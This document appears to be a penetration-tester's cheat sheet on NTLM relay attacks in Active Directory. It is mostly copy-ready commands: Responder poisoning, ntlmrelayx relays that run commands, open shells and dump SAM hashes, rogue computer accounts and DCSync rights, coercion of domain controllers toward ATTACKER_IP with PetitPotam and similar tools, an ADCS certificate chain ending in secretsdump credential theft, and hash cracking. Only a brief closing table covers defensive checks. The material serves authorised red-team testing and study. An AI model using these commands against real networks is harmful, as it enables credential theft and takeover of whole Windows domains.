NTLM Relay Attacks
NTLM relay end-to-end: Responder poisoning, ntlmrelayx SMB/LDAP/HTTP relay, authentication coercion (PrinterBug, PetitPotam, DFSCoerce, Coercer), SMB signing detection, LDAP relay to DACL/computer accounts, ADCS relay chain, and NTLMv1 downgrade.
NTLM relay intercepts an authentication handshake in transit and replays it against a different target — the attacker authenticates to a server as the victim without ever seeing the password. The attack requires an authentication trigger (Responder poisoning or coercion) and a relay target without signing.
How it Works
Victim → [NTLM challenge] → Attacker (ntlmrelayx)
Attacker forwards challenge to Target Server
Target → [NTLM response] → Attacker
Attacker forwards response to Target Server
Target authenticates the attacker as the victim
Requirements per target type:
| Relay to | Signing requirement |
|---|---|
| SMB | Signing must be disabled/not required |
| LDAP | No signing by default (LDAP signing separate from SMB) |
| LDAPS | Channel binding check — harder to relay |
| HTTP | No signing — Exchange EWS, ADCS web enrollment |
Step 1 — Find SMB Relay Targets
# nxc — list hosts without SMB signing required
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# nmap
nmap -p 445 --script smb-security-mode 10.10.10.0/24 | grep "message_signing"
# Responder RunFinger
python3 /opt/Responder/tools/RunFinger.py -i 10.10.10.0/24
DCs always enforce signing. Member servers and workstations typically do not.
Step 2 — Configure Responder (disable SMB/HTTP)
Edit /etc/responder/Responder.conf:
SMB = Off
HTTP = Off
Start Responder to poison LLMNR/NBT-NS — any name lookup that fails falls back to broadcast:
sudo responder -I eth0 -wrf
Step 3 — Start ntlmrelayx
SMB relay → execute command
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\\Windows\\Temp\\pwned.txt"
SMB relay → interactive shell
ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# Connect to the spawned shell:
nc 127.0.0.1 11000
SMB relay → dump SAM
ntlmrelayx.py -tf relay_targets.txt -smb2support
# ntlmrelayx auto-dumps SAM hashes when admin rights are obtained
LDAP relay → dump LAPS / ADCS info
ntlmrelayx.py -t ldap://DC_IP --dump-laps --dump-adcs
ntlmrelayx.py -t ldaps://DC_IP --dump-laps
LDAP relay → create computer account (RBCD setup)
ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC --computer-password 'EvilPass123!'
# Then use EVILPC$ for RBCD attack (see Kerberos Attacks note)
LDAP relay → grant DCSync rights to a low-priv user
ntlmrelayx.py -t ldap://DC_IP --escalate-user low_priv_user
HTTP relay → ADCS web enrollment (ESC8)
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
SOCKS proxy — persistent authenticated sessions
ntlmrelayx.py -tf relay_targets.txt -smb2support --socks
# Use with proxychains
proxychains secretsdump.py -no-pass corp.local/victim@TARGET_IP
proxychains smbclient.py -no-pass corp.local/victim@TARGET_IP
Authentication Coercion
Coercion forces a machine (usually the DC) to authenticate to your listener without waiting for passive poisoning.
PrinterBug — MS-RPRN SpoolSample
# Linux
python3 printerbug.py 'corp.local/user:pass'@DC_IP ATTACKER_IP
# Windows
.\SpoolSample.exe DC_IP ATTACKER_IP
PetitPotam — MS-EFSRPC
# Authenticated
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
# Unauthenticated (original — patched, but variants remain)
python3 PetitPotam.py ATTACKER_IP DC_IP
DFSCoerce — MS-DFSNM
python3 dfscoerce.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
Coercer — All Coercion Methods
# Enumerate which coercion methods are available
python3 Coercer.py scan -t DC_IP -u user -p pass -d corp.local
# Trigger all available coercions
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local
# Trigger a specific method
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local -m PrinterBug
Full Chain: Coercion + LDAP Relay → ADCS (ESC8)
This is the most impactful relay chain — no SMB signing bypass needed.
# Terminal 1: relay to ADCS web enrollment
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Terminal 2: coerce DC auth
python3 PetitPotam.py ATTACKER_IP DC_IP
# After relay captures the certificate (dc.pfx):
certipy auth -pfx dc.pfx -dc-ip DC_IP
# Returns: DC$ TGT + NT hash
# DCSync using the DC machine account hash
secretsdump.py -hashes ':DC_NT_HASH' 'corp.local/DC$'@DC_IP -just-dc-ntlm
Full Chain: Coercion + Hash Capture (no relay target)
When all hosts enforce SMB signing:
# Responder with SMB/HTTP on
sudo responder -I eth0 -wrf
# Coerce DC auth — Responder captures the DC machine account NTLMv2 hash
python3 PetitPotam.py ATTACKER_IP DC_IP
# Crack the hash (machine account hashes are hard to crack — usually try anyway)
hashcat -m 5600 dc_hash.txt /usr/share/wordlists/rockyou.txt
Multi-Relay (Relay to Multiple Targets)
# Relay same auth to multiple targets
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami" --no-wcf-server
# Relay with specific target override
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i
ntlmrelayx.py -t ldap://DC_IP -t smb://MEMBER_SERVER -smb2support
NTLMv1 Downgrade
Force downgrade from NTLMv2 to NTLMv1 — crackable with crack.sh rainbow tables:
# Responder NTLMv1 capture mode
sudo responder -I eth0 --lm --disable-ess
# Check if NTLMv1 is allowed
nxc smb TARGET -u user -p pass -M ntlmv1
# crack.sh (free) or hashcat -m 5500 for NTLMv1
LLMNR / NBT-NS Poisoning Background
Responder responds to multicast name lookups and injects its own IP as the answer — triggering NTLM auth to the attacker. This works because Windows falls back to LLMNR and NBT-NS when DNS fails.
# Listen only (no poisoning — safe for discovery)
sudo responder -I eth0 -A
# Full poisoning
sudo responder -I eth0 -wrf
# Logs saved to /var/log/responder/ (or ~/.responder/)
# Captured hashes in /usr/share/responder/logs/
Crack captured NTLMv2 hashes: hashcat -m 5600 hashes.txt rockyou.txt
Defense Checks
| Check | Command |
|---|---|
| SMB signing status | nxc smb 10.0.0.0/24 --gen-relay-list — empty = all signed |
| LDAP signing | nxc ldap DC_IP -M ldap-checker |
| LLMNR/NBT-NS | Check GPO: Computer → Admin Templates → Network → DNS Client |
| Coercion surface | python3 Coercer.py scan -t TARGET |